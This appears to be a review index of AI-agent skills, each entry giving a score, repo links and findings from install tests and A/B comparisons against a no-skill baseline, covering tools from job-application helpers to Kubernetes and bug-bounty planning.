- **Travel Plan Viz** [pass, 8.4/10] — Turns a trip into one offline HTML file: map, timeline, booking reminders Repo: https://github.com/zexuanw958-svg/travel-plan-viz. Card: https://skillproof.dev/skills/travel-plan-viz. What we found: The bundled validate.js is a real CLI validator, and its 21 unit tests all pass on the current Node. Fed a trip with a swapped lat/lng (writing 118.089 into the latitude field), the engine caught it as an out-of-range coordinate a freehand page would have silently pinned off-map, and the reminders engine correctly back-calculated booking deadlines in UTC. That mechanical layer is a concrete edge over a no-skill HTML page. Docs ding: all four showcased sample HTML files actually fail the skill's own validator (missing the embedded trip-data JSON and gcj02ToWgs84 inline the SKILL now requires), so the marketed outputs predate the current contract.
- **Offer Toolkit** [pass, 8.4/10] — Decode a JD, score your resume match, build a STAR story bank Repo: https://github.com/yanliudesign/offer-toolkit-skill. Card: https://skillproof.dev/skills/offer-toolkit-skill. What we found: Fed it a compact JD plus a deliberately mismatched resume: its weighted rubric (0.6/0.2/0.2, and a must-have miss caps the total) landed at a realistic ~55% weak-match and flagged the missing AI-product experience as a structural gap, while the no-skill baseline hand-waved '~75%, go apply.' The catch: every generated HTML report is forced to embed the author's name and LinkedIn/X/Xiaohongshu buttons, and the skill self-checks and refuses to omit them.
- **Interview Master** [pass, 8.4/10] — Full-cycle interview coach: question prediction, answer scripts, salary talks Repo: https://github.com/chen3tu/interview-master-skill. Card: https://skillproof.dev/skills/interview-master. What we found: Prepared a fintech backend interview with and without the skill: the baseline came out as a question list plus a STAR paragraph, while the skill produced weighted competency domains, a timed answer script (15/20/90/20/15 seconds), four predicted follow-ups including a role-boundary trap question, and a risk-rated audit of exactly the data points an interviewer would poke at. It also refuses to fabricate your numbers, leaving explicit placeholders to fill in. The company-research and real-interview-report search steps require live web search and were not exercised here. The whole skill is in Chinese, and the README advertises a .skill download file that does not exist in the repo.
- **Job Description Skill** [pass, 8.4/10] — Decode any job posting into fit score, gaps, interview questions and a go/no-go call Repo: https://github.com/yanliudesign/job-description-skill. Card: https://skillproof.dev/skills/job-description-skill. What we found: Fed it a Series-B fintech Senior Product Designer JD against a B2B-SaaS candidate: the skill's decode caught that the resume's 'redesign' does not satisfy the 0-to-1 consumer must-have and held the match at a realistic 55-65%, where a plain read hand-waved an 85% fit. Its rubric explicitly bans inflated scores and flags 'resume-not-shown' gaps, which is the real edge. Note the SKILL.md mandates injecting the author's LinkedIn/X/Xiaohongshu links into every generated report and auto-writes/opens files under ~/Desktop; disclosed, no data exfiltration, but it is self-promotion baked into your career documents.
- **Planning With Files** [pass, 8/10] — Keeps task_plan/findings/progress files on disk so multi-step agent work survives /clear. Repo: https://github.com/OthmanAdi/planning-with-files. Card: https://skillproof.dev/skills/planning-with-files. What we found: Found a real broken-link bug: two files it links to actually live one directory over from where it says. The workflow did leave a durable task plan and progress notes on disk that an unguided run never made.
- **Ablation Planner** [setup, 8/10] — Codex-designed ablation study plans for ML papers, vetted for feasibility by Claude Code. Repo: https://github.com/wanshuiyin/Auto-claude-code-research-in-sleep. Card: https://skillproof.dev/skills/ablation-planner. What we found: Its headline mechanic hands design work to a Codex tool that wasn't available in this environment, so that step had to be simulated by hand - real friction for anyone without Codex configured.
- **Research Discipline** [pass, 8/10] — Citation and independent-sourcing discipline for any research-shaped Claude answer. Repo: https://github.com/Skillproofdev/research-discipline. Card: https://skillproof.dev/skills/research-discipline. What we found: Our own skill — tested under the same protocol, disclosed. Six research questions (12 answers total) were judged claim-by-claim against live primary sources: the baseline agent produced 7 of 54 wrong/stale claims (13.0%), the skill-equipped agent produced 3 of 56 (5.4%) — a 59% relative cut in factual error rate for about +10% tokens. The README also discloses two real regressions (an incomplete pricing comparison, a repeated wrong version number), which we weighed in scoring rather than ignoring. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Summary Discipline** [pass, 8/10] — Faithful summaries: verbatim numbers, preserved hedges, flagged contradictions. Repo: https://github.com/Skillproofdev/summary-discipline. Card: https://skillproof.dev/skills/summary-discipline. What we found: Our own skill — tested under the same protocol, disclosed. A pre-registered 6-of-11-document subset benchmark shows the skill cut critical omissions from 10 to 2 and flagged all 3 planted contradictions the baseline silently resolved, while both arms tied 0-0 on added claims, distorted numbers, and attribution losses. Caveats: only 6 of 11 planned documents have been run, and skill outputs are ~1.7x longer than baseline, which partly confounds the omission-reduction gain. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Baoyu Comic** [setup, 8/10] — Creates educational comics with panel layouts across multiple art styles and tones. Repo: https://github.com/JimLiu/baoyu-skills. Card: https://skillproof.dev/skills/baoyu-comic. What we found: Verbatim cp -r install is clean and the trigger phrases are precise, but the advertised deliverable — a rendered comic (images + merged PDF) — is not producible out of the box: it hard-requires a raster image-generation backend (a runtime-native tool like Codex imagegen / Cursor GenerateImage, or the sibling baoyu-image-gen skill plus a paid provider API key such as OPENAI_API_KEY), plus the pdf-lib npm package for PDF export, none of which are bundled or installed by the copy. Testing was therefore scoped to the checkable artifact the skill emits right before that backend call: a one-page four-panel storyboard + four standalone image-generation prompts. In the A/B on that artifact, the skill's four-panel-preset scaffolding (strict 起承转合 arc, 2x2 positional panel labels, consistent caption-box specs, panel-3 accent-emphasis rule, chloroplast-vs-chlorophyll precision) produced modestly more consistent and directly reusable prompts than the base's competent but ad-hoc version — a real but incremental edge, not a leap.
- **KubeEye** [pass, 8/10] — Deploys KubeEye and manages InspectRule/InspectPlan resources for cluster inspection. Repo: https://github.com/kubesphere/kubesphere. Card: https://skillproof.dev/skills/kubeeye. What we found: Verbatim clone+copy install works cleanly; SKILL.md frontmatter parses as strict YAML and all bundled assets are valid (4 shell scripts pass bash -n, all 17 InspectRule rules/*.yaml parse). The real advertised workflow (InstallPlan deploy, run InspectPlan, retrieve HTML/XLSX reports) requires a live KubeSphere cluster with the kubeeye extension plus kubectl — this hard dependency is honestly disclosed in a 'compatibility' frontmatter field, not hidden — so it was tested here on the checkable slice: authoring an InspectRule/OPA policy to audit a provided Deployment manifest. A/B: the skill's reference example and bundled deployment rules gave it the two details the base arm got wrong — the CRD field is 'rule:' (base wrote a non-existent 'rego:' that the CRD would prune, flagging nothing) and each OPA policy needs 'import rego.v1' (base omitted it, breaking parse on KubeEye's OPA evaluator), making the skill output functional where the base output would silently do nothing.
- **KubeSphere DevOps: ArgoCD** [setup, 8/10] — Configures ArgoCD GitOps deployments and SSO inside KubeSphere DevOps. Repo: https://github.com/kubesphere/kubesphere. Card: https://skillproof.dev/skills/kubesphere-devops-argocd. What we found: Real operations require a live KubeSphere cluster with the DevOps extension and bundled ArgoCD v2.11.7 running — every deploy/sync/SSO/repo step is kubectl/argocd/curl against that cluster, so nothing here is testable offline. On a static A/B (generate the tenant GitOps Application payload + kapis curl from an inline spec), the skill decisively beat the base: both hit the correct /kapis/gitops.kubesphere.io/v1alpha1 endpoint, but base emitted a raw argoproj.io Application and invented linking labels, while the skill correctly used the gitops.kubesphere.io/v1alpha1 CR with spec.argoApp and the actually-required gitops.kubesphere.io/argocd-location: argocd label. Install is a clean single-file SKILL.md with valid frontmatter; docs are accurate and detailed but never state the hard live-cluster dependency upfront and carry one dead absolute-path reference link.
- **Hive Terminal: Job Control** [setup, 8/10] — Manages long-running or backgrounded terminal jobs with start-poll-wait patterns. Repo: https://github.com/aden-hive/hive. Card: https://skillproof.dev/skills/hive-terminal-tools-job-control. What we found: Teaches three Hive-runtime MCP tools (terminal_job_start / terminal_job_logs / terminal_job_manage) whose implementations live inside the Hive framework and are not callable in a plain Claude Code shell, so it was tested on knowledge-application rather than live execution. Verbatim install is clean (valid YAML frontmatter, references/signals.md present). In the A/B, the skill produced a materially more correct sequence than the base: it nailed the negative subprocess exit-code convention (-2/-15/-9 mapping each signal to what actually killed the job) and the truncated_bytes_dropped fall-behind signal, both of which the base's general shell-job-control knowledge got only approximately right.
- **Add Provider (DeepChat)** [setup, 8/10] — Adds a new LLM provider to DeepChat through reviewed source changes. Repo: https://github.com/ThinkInAIXYZ/deepchat. Card: https://skillproof.dev/skills/add-provider. What we found: Main change since our 12.07 test: upstream refactored the main process architecture (PR #1987), and all paths from old notes died — src/main/presenter/configPresenter/providers.ts no longer exists. The author synchronously rewrote the skill to the new layout (src/main/provider/defaults.ts, providerId.ts, providerRegistry.ts, aiSdk/providerFactory.ts, managers/providerInstanceManager.ts), and we re-checked: all 8 mentioned paths are in place, all three validation commands (pnpm run format/i18n/lint) are actually in package.json. Ran A/B on the task 'add Cerebras provider' directly in a fresh clone and checked the result via bun-import of real modules: baseline only modifies defaults.ts and gets a working entry, but with a default fallback by apiType (checkStrategy: fetch-models), while the skill additionally leads to providerRegistry.ts, where resolveAiSdkProviderDefinition returns an already configured definition (generate-text, credentialStrategy api-key, checkModelId) — the difference is real, but small. However, both variants did not touch src/renderer/src/components/icons/modelIconRegistry.ts and llm-icons, which upstream modifies with every real provider addition commit (TokenLab, DaoXE) — these files are not in the skill's lists. Verdict remains the same, setup: outside the DeepChat monorepo clone, the skill is still non-functional, the installed folder is a single SKILL.md referencing external sources.
- **Ask Questions if Underspecified** [pass, 8/10] — Pauses to clarify requirements before implementing when something is genuinely unclear. Repo: https://github.com/trailofbits/skills. Card: https://skillproof.dev/skills/ask-questions-if-underspecified. What we found: Tested with a deliberately underspecified request: 'add rate limiting, implement whatever you think is best.' The skill arm paused and asked 5 tight, well-scoped questions (rate/window, client-identity key, in-memory vs shared storage, 429 response, and — the one the base silently decided — whether adding the flask-limiter dependency was allowed), each with a bolded default and a 'reply defaults' fast path, and declined to edit code until answered. The base arm charged ahead and shipped working Flask-Limiter code (IP-keyed, 10/min, in-memory) with its assumptions honestly flagged; the skill's edge was surfacing the add-a-dependency and multi-worker in-memory footgun as decisions before writing rather than after, a modest but real improvement on an underspecified brief.
- **Algorand Vulnerability Scanner** [pass, 8/10] — Scans Algorand smart contracts for 11 vulnerabilities like rekeying and fee attacks. Repo: https://github.com/trailofbits/skills. Card: https://skillproof.dev/skills/algorand-vulnerability-scanner. What we found: Tested by auditing a deliberately-vulnerable PyTeal escrow contract with 4 planted flaws (unrestricted UpdateApplication/DeleteApplication, missing RekeyTo check, missing CloseRemainderTo check, and an inner-transaction fee not pinned to zero). The skill arm caught all 4 including the Algorand-specific inner-txn fee drain, while the no-skill base arm caught 3/4 and missed the fee issue. Both reports were false-positive-free and well-remediated; the base arm was actually sharper on a min-balance functional bug, so the skill's lift was modest and concentrated in the platform-specific footgun where its 11-pattern checklist adds value.
- **Session Investigator** [pass, 8/10] — Investigates fast-agent session and history files to diagnose why a run failed. Repo: https://github.com/evalstate/fast-agent. Card: https://skillproof.dev/skills/session-investigator. What we found: Tested verbatim install (clean clone+copy, self-contained SKILL.md, strict-YAML frontmatter) plus a fabricated fast-agent history_dev.json seeded with a dangling tool call. Both skill and base arms correctly identified the Unanswered Tool Call pattern at message index 5 and the same 0-4 truncation point; the skill arm edged ahead only by naming the canonical failure pattern and flagging that its own jq truncation recipe anchors too conservatively, so the A/B gain was marginal. Note the skill's commands silently assume jq is installed (absent on the test machine and never listed as a prerequisite).
- **Skill Installer** [setup, 8/10] — Installs OpenAI Codex skills from openai/skills or any GitHub repo path — built for Codex, not Claude Code. Repo: https://github.com/ratacat/claude-skills. Card: https://skillproof.dev/skills/skill-installer. What we found: Ran the installer for real against openai/skills: it correctly zip-downloaded and validated the 'pdf' skill folder end to end, but it's a Codex tool through and through — default destination is $CODEX_HOME/skills and it tells you to 'Restart Codex,' so a Claude Code user has to manually override --dest and ignore that final instruction.
- **GTD Coach** [setup, 8/10] — Turns an annual goal into a quarterly SOP with daily tasks -- but the cross-session memory it advertises has no tool to run on in Claude Code. Repo: https://github.com/iamzifei/gtd-coach-plugin. Card: https://skillproof.dev/skills/gtd-coach. What we found: The skill's headline feature -- 'Automatically remembers user's goals and progress across conversations' -- calls a `memory_user_edits` tool that does not exist in this Claude Code environment (confirmed via two separate tool searches, zero matches); the single-session SOP/task-breakdown output is genuinely good, but nothing persists to the next conversation as the README promises.
- **Prometheus Strategic Planning Consultant** [setup, 8/10] — Turns a fuzzy request into a decision-complete work plan via Socratic interview + gap review. Repo: https://github.com/code-yeongyu/lazyclaudecode. Card: https://skillproof.dev/skills/planing-prometheustic. What we found: Two of its steps are labeled MANDATORY (Metis gap-analysis before plan generation, Momus review after) and both are spawn_agent(agent_type='metis'/'momus') calls into agents that live in the parent omo plugin's agents/ folder, not the skill folder — a bare skill-dir copy silently loses both gates, exactly as the repo's own README warns ('everything is self-contained... resolves from ${CLAUDE_PLUGIN_ROOT}', recommending /plugin install omo@sisyphuslabs instead).
- **Perplexity Web Research** [setup, 8/10] — Routes web research, second opinions and deep reasoning through the Perplexity CLI's sonar models. Repo: https://github.com/xpepper/perplexity-agent-skill. Card: https://skillproof.dev/skills/perplexity-web-research. What we found: Fully functional-looking skill, but it is a thin wrapper around a paid API: without `pip install llm && llm install llm-perplexity && llm keys set perplexity` first (confirmed `llm` is not even on PATH here), every invocation fails at the first bash call, so the actual research task couldn't be exercised end to end.
- **Atlassian CLI (acli)** [setup, 8/10] — Drives Atlassian's official acli binary for Jira/Confluence CLI work, with a hard-won gotchas list baked in. Repo: https://github.com/upex-galaxy/agentic-qa-boilerplate. Card: https://skillproof.dev/skills/acli. What we found: The SKILL.md is unusually specific and battle-tested (e.g. 'workitem edit hard-rejects custom-field input, exit 1', 'link create --out/--in are empirically inverted vs Jira's UI semantics'), but it repeatedly defers to a companion file at `<repo-core>/references/acli-integration.md` that lives in a sibling skill folder (agentic-qa-core) outside acli/ itself — a verbatim copy of just the acli folder loses the custom-field slug-catalog and repo-anti-patterns section it points to, and the acli binary plus a real Jira/Confluence login are still required to run anything for real.
- **Language Coach** [setup, 8/10] — Always-on /language-coach command that persists native/target/style config and coaches every prompt. Repo: https://github.com/leeguooooo/prompt-language-coach. Card: https://skillproof.dev/skills/language-coach. What we found: Every single sub-command breaks with a plain 'cp -r skills/language-coach ~/.claude/skills/' install because SKILL.md hardcodes '../../scripts/manage_language_coach.py', which lives two directories above the skill folder alongside a shared/ and platforms/ package; confirmed by actually running the copied skill and getting 'No such file or directory' on every command until the whole repo was kept intact.
- **Scite Research Assistant** [setup, 8/10] — Structures literature search, citation, and retraction checks around scite's MCP tool. Repo: https://github.com/scitedotai/scite-mcp-skill. Card: https://skillproof.dev/skills/scite-research-assistant. What we found: Runs entirely on scite's search_literature MCP tool, which needs a paid Premium/Enterprise subscription and a live MCP connection -- disclosed honestly in the README's Prerequisites section, but real friction: without that subscription the skill is inert, and I could not exercise a single live call to verify actual output quality.
- **Kagi Search** [setup, 8/10] — Token-efficient wrapper around Kagi's paid Search/FastGPT/Summarizer/Enrichment APIs with cost-aware routing. Repo: https://github.com/hffmnnj/kagi-skill. Card: https://skillproof.dev/skills/kagi-search. What we found: Every script fails cleanly with a clear 'export KAGI_API_KEY' message when the key is unset (verified live, exit code 1, no crash), but nothing in this skill produces a single search result until the user pays Kagi for API access -- there is no free tier, so the honest first-run experience for most people is a wall, not an answer.
- **Deckset Presentation Expert** [pass, 8/10] — Deckset markdown-presentation reference: syntax rules, 29 scraped docs, 3 full examples. Repo: https://github.com/doudou1337/deckset-claude-skill. Card: https://skillproof.dev/skills/deckset-presentation-expert. What we found: The syntax rules (blank-line-around-'---', 2-space vs 3-space nested-list indent, '^' presenter notes) are accurate and match official Deckset docs, but 18 of the 29 'scraped' doc files link to screenshot images (../../img/*.png) that were never actually saved to the repo — the scraper grabbed text but not assets.
- **Dropbox** [setup, 8/10] — Agent-callable Dropbox tools: upload, organize, search, and share files Repo: https://github.com/zapier/connectors. Card: https://skillproof.dev/skills/dropbox. What we found: npm install --omit=dev then node cli.js listed all 21 documented Dropbox tools, and a getCurrentAccount call reached the live Dropbox API and returned a genuine 401 invalid_access_token with a real x-dropbox-request-id, so the plumbing works end to end. The verdict is setup rather than pass only because a real file task (upload/share/list) needs a Dropbox OAuth token, which is a login wall, so the no-skill baseline delta could not be measured.
- **Agent Computer Use** [setup, 8/10] — Drive any desktop app from the terminal via the agent-cu CLI (snapshot/click/type) Repo: https://github.com/kortix-ai/agent-computer-use. Card: https://skillproof.dev/skills/agent-computer-use. What we found: The SKILL.md is an unusually thorough desktop-automation playbook with verified Music/Calculator/Slack/Finder flows, a snapshot-identify-act-verify loop, and a detailed recovery ladder, but its delta over no skill could not be measured here: the agent-cu binary ships separately (cargo build or cargo install / npm) and requires a live desktop GUI, so the bundled wrapper reports 'agent-cu binary not found' in a headless run. Installing the skill folder alone gives you the instructions, not the tool. Worth flagging that the skill offers to auto-approve its own permission globally and unsupervised via `agent-cu setup --yes` (writes Bash(agent-cu *) to settings) — scoped to its own namespace and user-gated by default, but note it before installing.
- **VideoTranscribe** [setup, 8/10] — One-command video/audio to clean text via subtitle scrape or Gemini Repo: https://github.com/Jane-xiaoer/claude-skill-video-transcribe. Card: https://skillproof.dev/skills/videotranscribe. What we found: Ran the bundled transcribe.py live on a real YouTube lecture: it scraped and de-duplicated the auto-captions into a clean 5,300-character transcript at zero API cost, output a plain assistant cannot produce unaided. But it needs a manual yt-dlp and ffmpeg install, the audio path requires a Gemini API key wired into ~/.shared-skills/api-registry/.env, and the workflow files hard-code a ~/.shared-skills/VideoTranscribe path that does not match a normal ~/.claude/skills install, so a verbatim follow breaks until you fix the path.
- **Brainstorming (Chinese)** [pass, 8/10] — Chinese superpowers brainstorming: design-before-code gate, options and specs Repo: https://github.com/jnMetaCode/superpowers-zh. Card: https://skillproof.dev/skills/brainstorming. What we found: The process genuinely beats naive behavior: on a CSV-export mini-task the no-skill baseline shipped working code with six silent assumptions, including a money-formatting defect (12.5 instead of 12.50 in Excel, the user's actual use case), while the skill's question-then-options-then-spec flow surfaced all six decisions before any code was written. The bundled visual-companion server started on the first try and enforced its session token (200 with key, 403 without). Two caveats: the entire skill body is in Chinese, so the workflow guidance reads in Chinese even for non-Chinese users, and the companion page loads a logo image from the author's domain with a version parameter — disable it via standard telemetry env vars if that matters to you. The final checklist step hands off to the writing-plans skill, which this standalone install does not include.
- **Autogap** [pass, 8/10] — Diagnoses any project's top 3 gaps and implements the fixes you pick Repo: https://github.com/micpet7514088/autogap. Card: https://skillproof.dev/skills/autogap. What we found: Pointed it at a half-built habit-tracker CLI with a launch deadline buried in a notes file: the skill run inferred the real objective (a newsletter launch by the 15th), spotted that the launch post and the unimplemented streak feature block each other, and produced a ranked 3-gap, 3-step plan with an execution menu — output that passed the repo's own bundled structural validator. The no-skill baseline found the same raw facts but delivered a flat 7-item list with no objective inference, no evidence-consequence framing, and no decision point. The trigger description is broad, so it may occasionally fire on adjacent 'analyze my project' requests that want a plain code review.
- **Pagecast Publish Report** [setup, 8/10] — Turn a local HTML/Markdown report into a shareable Cloudflare Pages URL Repo: https://github.com/Amal-David/pagecast. Card: https://skillproof.dev/skills/publish-report. What we found: The CLI is real and behaves exactly as documented: publishing a test Markdown report with --json --non-interactive from a clean HOME returned the precise {ok:false, statusCode:401} auth contract the SKILL.md promises, and the npm package (0.6.0) matches the repo. End-to-end publishing requires a first-run Cloudflare/Wrangler browser login, so the public-URL delta could not be measured headlessly — scored unmeasured, hence setup rather than pass. The skill body is notably careful: it always asks before publishing and keeps passwords out of commands; CLI telemetry is anonymous, disclosed on first run, and honors DO_NOT_TRACK.
- **Understand: Onboard** [setup, 7.6/10] — Generates an onboarding guide for new team members joining a project. Repo: https://github.com/Egonex-AI/Understand-Anything. Card: https://skillproof.dev/skills/understand-onboard. What we found: Verbatim clone+cp still installs cleanly and the skill still depends on a knowledge-graph.json that only the sibling /understand skill can build. Since our last test the author added a graph-freshness check: it reads the graph's recorded commit hash, diffs it against HEAD with a project-scoped `-- .` pathspec, and warns before writing the guide if source drifted — I ran the exact commands and confirmed they correctly ignore the .ua/ artifacts and flag an edited src file. The addition is purely additive and read-only, so on a small fresh graph the A/B guide is still equivalent to a no-skill baseline; the skill's edge remains the grep-based workflow and section template on large real graphs, not raw output on small inputs.
- **GitHub: Create Issue** [setup, 7.6/10] — Creates a GitHub issue that follows the repository's own issue template. Repo: https://github.com/CherryHQ/cherry-studio. Card: https://skillproof.dev/skills/gh-create-issue. What we found: Tested install (verbatim git clone + cp, zero surgery, frontmatter parses as strict YAML), trigger battery, and one output task: drafting a bug-report issue against a repo's .github/ISSUE_TEMPLATE/bug_report.yml with five required fields. A/B showed same-quality results — both skill and base arms derived the [Bug]: title prefix, filled every required field, applied both template labels (bug, needs-triage), and produced identical reproduction steps; the skill added no meaningful lift on this simple, fully-specified template. Note: the real workflow's final step calls gh issue create against GitHub (a live side effect); tested here dry-run to a local draft file only.
- **Distributed LLM Pretraining: TorchTitan** [setup, 7.6/10] — Sets up distributed LLM pretraining at scale using torchtitan's 4D parallelism. Repo: https://github.com/Orchestra-Research/AI-Research-SKILLs. Card: https://skillproof.dev/skills/distributed-llm-pretraining-torchtitan. What we found: Real use hard-requires a multi-GPU cluster (8-512+ GPUs, ideally H100) plus a Hugging Face token for tokenizer download — prerequisites the SKILL.md never flags upfront despite its turnkey 'launch training' framing — so testing was scoped to the config artifact rather than actual training. Install was clean (single cp, strict-YAML frontmatter, all 4 reference files present). A/B on a Llama3-8B config task: both arms produced valid FSDP2 + Float8 + compile + selective-AC TOMLs, but the skill-armed config wired the float8 converter into [model] converters (so float8 actually activates), while the base config configured [quantize.linear.float8] yet omitted the converter registration, meaning its float8 would silently never apply.
- **HuggingFace Tokenizers** [pass, 7.6/10] — Trains and runs fast Rust-based tokenizers with BPE, WordPiece, or Unigram. Repo: https://github.com/Orchestra-Research/AI-Research-SKILLs. Card: https://skillproof.dev/skills/huggingface-tokenizers. What we found: Tested by installing verbatim (clean git-clone + copy, valid YAML frontmatter, all 4 reference files present) then training a small BPE tokenizer on a 10-line inline corpus per the SKILL.md pattern. A/B comparison against a no-skill base arm produced byte-identical results (vocab size 60; 'the quick fox jumps' tokenized to ['the','quick','fox','j','u','m','ps']), so the skill did not change correctness or API usage; it added only marginal rigor over the base run (determinism verified across 3 runs plus an explanation of the merge behavior). Docs are accurate with no blocking hidden requirements, though speed/benchmark claims are unverified marketing.
- **Altitude-Horizon Framework** [setup, 7.6/10] — Diagnoses PM-to-Director scope and time-horizon gaps using altitude thinking. Repo: https://github.com/deanpeters/Product-Manager-Skills. Card: https://skillproof.dev/skills/altitude-horizon-framework. What we found: Tested verbatim install (clean git clone + cp, valid strict-YAML frontmatter, referenced examples/sample.md present), a 6-prompt trigger battery (4/4 should-fire, 2/2 should-not, minor false-positive risk on broad 'leadership-level gaps' phrasing), and an output task diagnosing a PM-to-Director scenario (Context Cascade + Hero Syndrome friction + mitigation). A/B: the skill arm and the no-skill base arm produced near-equivalent structured diagnoses because the task's Context Cascade template scaffolded both; the skill added precise framework taxonomy (named transition zone, altitude language) but no materially more useful diagnosis, so output scored 5.
- **Nitro** [setup, 7.6/10] — Builds and deploys server routes, caching, and tasks with the Nitro toolkit. Repo: https://github.com/antfu/skills. Card: https://skillproof.dev/skills/nitro. What we found: Tested verbatim install (clean git-clone + cp, valid strict-YAML frontmatter, all 14 reference docs present), trigger fit against the concrete description, and an OUTPUT task authoring a Nitro v3 GET route handler for /api/greet/:name plus a nitro.config.ts with SWR-cache and basic-auth route rules. A/B showed both skill and skill-less arms produced correct, idiomatic Nitro v3 code (right file-suffix routing, defineHandler/defineConfig from 'nitro', valid routeRules); the base arm had strong general Nitro knowledge, so the skill's output was same-quality, not clearly better.
- **Nuxt** [setup, 7.6/10] — Builds Nuxt apps with SSR, auto-imports, server routes, and hybrid rendering. Repo: https://github.com/antfu/skills. Card: https://skillproof.dev/skills/nuxt. What we found: Verbatim clone+cp install worked with zero surgery; SKILL.md frontmatter parses as strict YAML and all 18 referenced topic files exist. Output A/B built a Nuxt 4 health-check API route plus a useFetch home page, verified with a real nuxi build: both arms placed files correctly under the app/ srcDir and compiled cleanly, so the skill matched but did not beat the base model's Nuxt 4 knowledge (skill used the newer useFetch status API, base added a typed response interface).
- **Skill Audit** [pass, 7.6/10] — Audits a codebase for quality, consistency, and broken patterns before release. Repo: https://github.com/nyldn/claude-octopus. Card: https://skillproof.dev/skills/skill-audit. What we found: Tested full install (clean, SKILL.md-only, strict YAML frontmatter parses, no external file deps), a 6-prompt trigger battery, and an A/B output test auditing a deliberately-flawed SKILL.md with 7 planted defects. The skill arm caught all 7 planted flaws with no false positives; the no-skill base arm caught 6 (missing the unverifiable-referenced-files defect) and added one minor false positive. Skill is a generic phase/checklist audit methodology with no skill-specific knowledge, so its lift over a capable base model was real but marginal.
- **PinMe Share** [pass, 7.6/10] — Generates and uploads a static HTML share page for a project, demo, or report. Repo: https://github.com/glitternetwork/pinme. Card: https://skillproof.dev/skills/pinme-share. What we found: Verbatim install worked with zero surgery (single valid SKILL.md, strict-YAML frontmatter, no dangling references); triggering is accurate on explicit share/publish/Codex-summary prompts but overlaps the sibling 'pinme' skill on full-stack-deploy requests. Real publishing needs the external pinme CLI (npm i -g pinme, v2.0.11) plus a live pinme login / set-appkey AppKey, so it was tested on share-page generation and command construction only — no real upload was performed. A/B vs a no-skill base: both produced equivalent self-contained HTML share pages, but the skill emitted the canonical `pinme upload <folder>` command and documented the required auth/version steps, whereas the base guessed `npx pinme upload` and omitted the mandatory login — a modest correctness edge from the skill's exact CLI knowledge.
- **Bug Bounty Methodology** [setup, 7.6/10] — Orchestrates the five-phase bug bounty hunting workflow and routes to other skills. Repo: https://github.com/elementalsouls/Claude-BugHunter. Card: https://skillproof.dev/skills/bb-methodology. What we found: An authorized bug-bounty methodology and knowledge guide: a master orchestrator for a 5-phase hunting workflow (engagement-type classification, Define/Select/Execute session framing, Wide/Deep routing, recon sequencing, and false-positive discipline rules), tested here against a hypothetical inline HackerOne VDP scope with no live targets. Installs cleanly as a single self-contained SKILL.md with strict-YAML frontmatter and no external dependencies, and its tightly-scoped trigger fires only on session-start/what-should-I-do-next phrasing. In the A/B test both the skill and a no-skill baseline produced correct, well-structured Day-1 plans reaching the same conclusions (bug-bounty discipline, Wide recon route, IDOR/auth focus); the skill's output mapped directly onto its documented tables but was not materially more rigorous than strong general pentest knowledge.
- **Night Market Collective Memory** [setup, 7.6/10] — Routes project knowledge to Discussions/ADRs/journal — every example hardcodes one repo's identity. Repo: https://github.com/athola/claude-night-market. Card: https://skillproof.dev/skills/night-market-collective-memory. What we found: Its memory-routing table (Discussions vs journal vs ADR vs gitignored research/) is genuinely well organized, but every gh api graphql example hardcodes owner=athola name=claude-night-market — dropped into another repo unmodified, it would silently query the wrong project's Discussions instead of erroring.
- **Atlas Session Stop** [setup, 7.6/10] — Gated session close/pause/verify flow with checkpoint files, PR creation, and optional bounty settlement. Repo: https://github.com/anombyte93/atlas-session-lifecycle. Card: https://skillproof.dev/skills/atlas-session-stop. What we found: Only functions once the plugin's separate Python MCP server is installed and registered - copying the SKILL.md alone gives you a document that references tools (session_read_context, contract_settle, etc.) that don't exist yet; full bounty settlement additionally needs a running AtlasCoin service and, per src/atlas_session/license.py, a Pro license for some paths.
- **Content Portability** [setup, 7.6/10] — Exports/imports WordPress via MCP, hashed and rollback-safe; tool names read stale. Repo: https://github.com/respira-press/agent-skills-wordpress. Card: https://skillproof.dev/skills/content-portability. What we found: Its own repo already renamed wordpress_* MCP tools to respira_* (per a sibling skill's changelog note), but this SKILL.md still calls the old wordpress_* names throughout — a real staleness risk, offset by an unusually candid 'what this skill CANNOT do' disclaimer.
- **AI News** [setup, 7.6/10] — Curates a 24h AI news digest from one X/Twitter list into releases, papers, and tools. Repo: https://github.com/dannote/dot-pi. Card: https://skillproof.dev/skills/ai-news. What we found: Hardcodes the author's personal curated X list ID (1894700501725229467) and requires a paid @dannote/bird-premium X API v2 subscription, so it produces nothing for anyone else until they swap in their own list ID and API access - the categorization/noise-filtering logic itself is genuinely well specified once that's done.
- **Daily Brief** [setup, 7.6/10] — One-screen daily brief: top 3 moves, open loops, and what's slipping Repo: https://github.com/alirezarezvani/gaios. Card: https://skillproof.dev/skills/daily. What we found: Structured output beat a freeform baseline (explicit slippage + unblocking action, honest 'no calendar connected' fallback), but the skill body reads from context/priorities.md, decisions/log.md, projects/, tools/open_loops.py and connections.md — all live at the gAIOS repo root, not inside .claude/skills/daily/, so a verbatim skill-folder copy loses its data sources.
- **Program Selection** [setup, 7.6/10] — Scores HackerOne/Bugcrowd/Intigriti programs on 7 weighted criteria before you commit hunting time. Repo: https://github.com/0xGhostCAT/claude-ai-cyber-security-skills. Card: https://skillproof.dev/skills/program-selection. What we found: Solid scoring rubric, but the body tells you to open `templates/program-score-card.md` and that file does not exist anywhere in the repo (only bugcrowd/hackerone/intigriti/immunefi templates do) — you have to reconstruct the score table by hand from the SKILL.md itself.
- **Issue To Beads** [setup, 7.6/10] — Turns a GitHub issue into a filed Beads epic/task tree with verifiable acceptance criteria. Repo: https://github.com/jbdamask/john-claude-skills. Card: https://skillproof.dev/skills/issue-to-beads. What we found: The breakdown quality itself is genuinely good — on a real open issue it correctly demoted the 'package tracking' sub-feature to non-blocking P2 because the issue text called it optional, and gave every task a concrete pass/fail acceptance criterion instead of the naive baseline's 'test it works.' But Phase 3 and Phase 7 call sibling skills (beads-planner:plan-only, beads-planner:git-push-and-tag) that a standard single-folder 'cp -r issue-to-beads' install would leave behind, and bd (Beads CLI) isn't installed by default, so the filing/handoff phases couldn't be executed for real.
